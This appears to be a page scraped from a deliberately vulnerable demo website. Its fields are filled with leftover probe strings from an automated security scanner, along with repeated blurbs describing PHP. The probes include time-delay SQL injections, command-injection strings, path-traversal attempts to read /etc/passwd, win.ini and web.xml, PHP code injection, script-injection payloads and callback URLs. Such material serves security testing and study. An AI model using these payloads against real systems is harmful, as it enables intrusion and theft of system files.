1

01/01/1967

1

01/01/1967

1

01/01/1967

1

set|set&set

1

`set|set&set`

1

1 waitfor delay '0:0:6' --

1

print `env`

1

zubO0nFO'; waitfor delay '0:0:6' --

1

7dQiqAGZ'); waitfor delay '0:0:6' --

1

;set|set&set;

1

ExkOg56y')); waitfor delay '0:0:6' --

1

-1;select pg_sleep(9); --

1

-1);select pg_sleep(9); --

1

-1));select pg_sleep(9); --

1

OFRNE2UW';select pg_sleep(9); --

1

OFuoRT4B');select pg_sleep(3); --

1

krLmRQyJ'));select pg_sleep(3); --

1

set|set&set

'set|set&set'

"set|set&set"

set|set&set

`set|set&set`

print `env`

;set|set&set;

1

0rD2n6I7

1

OtXp7wYR

1

../../../../../../../../../../etc/passwd

1

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

1

../../../../../../../../../../etc/passwd%00.jpg

1

n9kLEgVH

1

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n

-1 OR 2+80-80-1=0+0+0+1 --

1

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

-1 OR 2+557-557-1=0+0+0+1

1

/../..//../..//../..//../..//../..//etc/passwd%00.jpg

1

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

1

/etc/passwd

-1' OR 2+42-42-1=0+0+0+1 --

1

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

1

-1' OR 2+939-939-1=0+0+0+1 or 'KmkUjYHU'='

1

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

1

..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd

1

invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

-1" OR 2+752-752-1=0+0+0+1 --

1

file:///etc/passwd

1

/\../\../\../\../\../\../\../etc/passwd

if(now()=sysdate(),sleep(9),0)/'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"/

1

WEB-INF/web.xml?

1

WEB-INF\web.xml?

1

/WEB-INF/web.xml?

(select(0)from(select(sleep(9)))v)/'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"/

-1; waitfor delay '0:0:9' --

1

../../../../../../../../../../windows/win.ini

-1); waitfor delay '0:0:3' --

1

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💩

1

../../../../../../../../../../boot.ini

-1)); waitfor delay '0:0:3' --

-1)); waitfor delay '0:0:9' --

1

../../../../../../../../../../windows/win.ini%00.jpg

1

../../../../../../../../../../windows/win.ini%00.jpg

1 waitfor delay '0:0:0' --

1

%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini

wNFZvtGA'; waitfor delay '0:0:6' --

1

${10000403+10000460}

1

................windowswin.ini

SvGgioPu'); waitfor delay '0:0:9' --

1

..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

1

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

ivnOExwD')); waitfor delay '0:0:9' --

${10000250+9999875}

-1;select pg_sleep(3); --

1

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

-1);select pg_sleep(3); --

-1));select pg_sleep(3); --

1

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

4ccc5EIb';select pg_sleep(6); --

1

unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

1

WEB-INF/web.xml?

1

WEB-INF\web.xml?

1

BFOYiHMZ');select pg_sleep(6); --

1

/WEB-INF/web.xml?

q6A37rPh'));select pg_sleep(6); --

1

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💩

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

1

1some_inexistent_file_with_long_name%00.jpg

1

1some_inexistent_file_with_long_name%00.jpg

1

Http://testasp.vulnweb.com/t/fit.txt

1

http://testasp.vulnweb.com/t/fit.txt%3F.jpg

1

testasp.vulnweb.com

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

1some_inexistent_file_with_long_name%00.jpg

Http://testasp.vulnweb.com/t/fit.txt

1

http://testasp.vulnweb.com/t/fit.txt%3F.jpg

testasp.vulnweb.com

1

../../../../../../../../../../etc/passwd

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

../../../../../../../../../../etc/passwd%00.jpg

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

/../..//../..//../..//../..//../..//etc/passwd%00.jpg

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

/etc/passwd

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

1

..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd

invalid../../../../../../../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

1

file:///etc/passwd

1

/\../\../\../\../\../\../\../etc/passwd

1

WEB-INF/web.xml?

WEB-INF\web.xml?

/WEB-INF/web.xml?

../../../../../../../../../../windows/win.ini

../../../../../../../../../../boot.ini

../../../../../../../../../../windows/win.ini%00.jpg

%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini

................windowswin.ini

1

..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

1

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

1

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

1

1&n944891=v971259

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

1

unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.

1

WEB-INF/web.xml?

1

1&n929628=v911245

1

)

1

!(()&&!|*|*|

1

WEB-INF\web.xml?

1

^(#$!@#$)(()))******

/WEB-INF/web.xml?

1

)

1

!(()&&!|||

1

^(#$!@#$)(()))******

1

'"()

1

;print(md5(acunetix_wvs_security_test));

1

';print(md5(acunetix_wvs_security_test));$a='

1

";print(md5(acunetix_wvs_security_test));$a="

1

${@print(md5(acunetix_wvs_security_test))}

1

${@print(md5(acunetix_wvs_security_test))}\

'"()

1

;print(md5(acunetix_wvs_security_test));

';print(md5(acunetix_wvs_security_test));$a='

1

";print(md5(acunetix_wvs_security_test));$a="

1

${@print(md5(acunetix_wvs_security_test))}\

1

http://testasp.vulnweb.com/t/xss.html?%00.jpg

1

http://testasp.vulnweb.com/t/xss.html?%00.jpg

1

addblog.php

1

addblog.php

1

addblog.php/.

1

http://hitYIj4Tb5ceG.bxss.me/

1

http://hitXjPoVmrJle.bxss.me/

1

addblog.php

1

1'"

1

1��

addblog.php/.

1

@@5hbS7

1

JyI=

1

�'�"

1

�''�""

1

(select convert(int,CHAR(65)))

1

1'"

1

\

1

1��

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

@@4p2P1

1

/www.vulnweb.com

JyI=

1

931973

1

�'�"

1

http://www.vulnweb.com

�''�""

1

//www.vulnweb.com

1

/\www.vulnweb.com

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

(select convert(int,CHAR(65)))

1

<!--

1

'"

1

<!--

1

/www.vulnweb.com

1

944024

1

1'"()&%<acx><ScRiPt >prompt(920735)</ScRiPt>

1

'"()&%<acx><ScRiPt >prompt(953619)</ScRiPt>

1

1_924982

1

http://www.vulnweb.com

1

//www.vulnweb.com

1

/\www.vulnweb.com

1

1'"()&%<acx><ScRiPt >prompt(911730)</ScRiPt>

1

'"()&%<acx><ScRiPt >prompt(954598)</ScRiPt>

1

1_935917

1

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

1

set|set&set

1

'set|set&set'

1

"set|set&set"

1

set|set&set

1

`set|set&set`

1

print `env`

1

;set|set&set;

1

oIAyklg8

1

-1 OR 2+69-69-1=0+0+0+1 --

1

-1 OR 2+789-789-1=0+0+0+1

1

-1' OR 2+372-372-1=0+0+0+1 --

1

-1' OR 2+895-895-1=0+0+0+1 or '3UM9FHwn'='

1

-1" OR 2+765-765-1=0+0+0+1 --

1

if(now()=sysdate(),sleep(12),0)/*'XOR(if(now()=sysdate(),sleep(12),0))OR'"XOR(if(now()=sysdate(),sleep(12),0))OR"*/

1

(select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/

1

-1; waitfor delay '0:0:12' --

1

-1); waitfor delay '0:0:4' --

set|set&set

'set|set&set'

1

"set|set&set"

1

-1)); waitfor delay '0:0:4' --

1

1 waitfor delay '0:0:4' --

1

set|set&set

1

iFfF3Ox9'; waitfor delay '0:0:4' --

`set|set&set`

1

DcM8TRva'); waitfor delay '0:0:4' --

print `env`

;set|set&set;

1

OchDgoLH')); waitfor delay '0:0:4' --

1

-1;select pg_sleep(8); --

1

-1);select pg_sleep(8); --

1

-1));select pg_sleep(8); --

1

G8ORDAcM';select pg_sleep(12); --

1

sGLQMjbf');select pg_sleep(12); --

1

5RFAnhHf');select pg_sleep(8); --

1

0TynwQlp'));select pg_sleep(4); --

1

DRTH7ZNG'));select pg_sleep(0); --

1

lp2tjOEA

eMd7g8Ue

1

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💩

1

${9999875+9999132}

${10000143+9999999}

1

../../../../../../../../../../etc/passwd

1

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

1

../../../../../../../../../../etc/passwd%00.jpg

UimHYytk

1

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n

-1 OR 2+575-575-1=0+0+0+1 --

1

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

1

-1 OR 2+250-250-1=0+0+0+1

1

/../..//../..//../..//../..//../..//etc/passwd%00.jpg

1

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

-1' OR 2+599-599-1=0+0+0+1 --

-1' OR 2+396-396-1=0+0+0+1 or 'ztmD0Y4c'='

1

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💩

1

/etc/passwd

-1" OR 2+27-27-1=0+0+0+1 --

1

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

1

if(now()=sysdate(),sleep(12),0)/'XOR(if(now()=sysdate(),sleep(12),0))OR'"XOR(if(now()=sysdate(),sleep(12),0))OR"/

1

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

(select(0)from(select(sleep(12)))v)/'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"/

1

..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd

-1; waitfor delay '0:0:12' --

1

-1); waitfor delay '0:0:4' --

1

-1)); waitfor delay '0:0:4' --

1

file:///etc/passwd

1 waitfor delay '0:0:4' --

1

/\../\../\../\../\../\../\../etc/passwd

b1kdbb8S'; waitfor delay '0:0:4' --

1

WEB-INF/web.xml?

1

WEB-INF\web.xml?

1

XCYx4M7H'); waitfor delay '0:0:8' --

Y67FOl9A')); waitfor delay '0:0:8' --

1

/WEB-INF/web.xml?

-1;select pg_sleep(12); --

1

../../../../../../../../../../windows/win.ini

-1;select pg_sleep(4); --

1

../../../../../../../../../../boot.ini

1

../../../../../../../../../../windows/win.ini

-1;select pg_sleep(8); --

1

../../../../../../../../../../windows/win.ini%00.jpg

1

%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

1

1some_inexistent_file_with_long_name%00.jpg

1

................windowswin.ini

1

Http://testasp.vulnweb.com/t/fit.txt

1

..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

1

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

1

http://testasp.vulnweb.com/t/fit.txt%3F.jpg

1

testasp.vulnweb.com

1

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

1

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

1

WEB-INF/web.xml?

1

WEB-INF\web.xml?

-1;select pg_sleep(0); --

1

/WEB-INF/web.xml?

-1;select pg_sleep(0); --

-1;select pg_sleep(8); --

-1);select pg_sleep(4); --

-1));select pg_sleep(4); --

ikCfFNLG';select pg_sleep(4); --

K4TuAX7H');select pg_sleep(4); --

pDAY3uVE'));select pg_sleep(8); --

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

1

1some_inexistent_file_with_long_name%00.jpg

Http://testasp.vulnweb.com/t/fit.txt

1

http://testasp.vulnweb.com/t/fit.txt%3F.jpg

testasp.vulnweb.com

1

../../../../../../../../../../etc/passwd

1

)

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

1

!(()&&!|*|*|

../../../../../../../../../../etc/passwd%00.jpg

1

^(#$!@#$)(()))******

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

/../..//../..//../..//../..//../..//etc/passwd%00.jpg

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

/etc/passwd

1

'"()

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

)

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

!(()&&!|||

..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd

invalid../../../../../../../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

1

;print(md5(acunetix_wvs_security_test));

^(#$!@#$)(()))******

1

';print(md5(acunetix_wvs_security_test));$a='

1

'"()

1

";print(md5(acunetix_wvs_security_test));$a="

1

file:///etc/passwd

1

${@print(md5(acunetix_wvs_security_test))}

1

${@print(md5(acunetix_wvs_security_test))}\

/\../\../\../\../\../\../\../etc/passwd

WEB-INF/web.xml?

WEB-INF\web.xml?

1

/WEB-INF/web.xml?

1

../../../../../../../../../../windows/win.ini

1

../../../../../../../../../../boot.ini

1

../../../../../../../../../../windows/win.ini%00.jpg

%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini

................windowswin.ini

..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

1

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

1

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

1

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.

;print(md5(acunetix_wvs_security_test));

';print(md5(acunetix_wvs_security_test));$a='

WEB-INF/web.xml?

";print(md5(acunetix_wvs_security_test));$a="

1

${@print(md5(acunetix_wvs_security_test))}

WEB-INF\web.xml?

${@print(md5(acunetix_wvs_security_test))}\

1

/WEB-INF/web.xml?

1

http://testasp.vulnweb.com/t/xss.html?%00.jpg

1

http://testasp.vulnweb.com/t/xss.html?%00.jpg

1

addblog.php

1

http://hitzQ6H3vJSTw.bxss.me/

1

addblog.php

1

addblog.php/.

http://hits6k4gFOxOH.bxss.me/

1

addblog.php

1

addblog.php

1

addblog.php/.

1

1'"

1

1��

1

@@5OD3Z

1

JyI=

1

�'�"

1

�''�""

1

(select convert(int,CHAR(65)))

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

/www.vulnweb.com

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

991000

1'"

1

http://www.vulnweb.com

1

//www.vulnweb.com

1

\

1��

1

/\www.vulnweb.com

1

@@W1VfB

1

JyI=

1

�'�"

1

�''�""

1

(select convert(int,CHAR(65)))

1

<!--

1

'"

<!--

1

1'"()&%<acx><ScRiPt >prompt(976337)</ScRiPt>

1

'"()&%<acx><ScRiPt >prompt(930550)</ScRiPt>

/www.vulnweb.com

1

1_962081

1

965476

1

http://www.vulnweb.com

//www.vulnweb.com

/\www.vulnweb.com

1

1'"()&%<acx><ScRiPt >prompt(944622)</ScRiPt>

1

'"()&%<acx><ScRiPt >prompt(990880)</ScRiPt>

1

1_998004

1

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

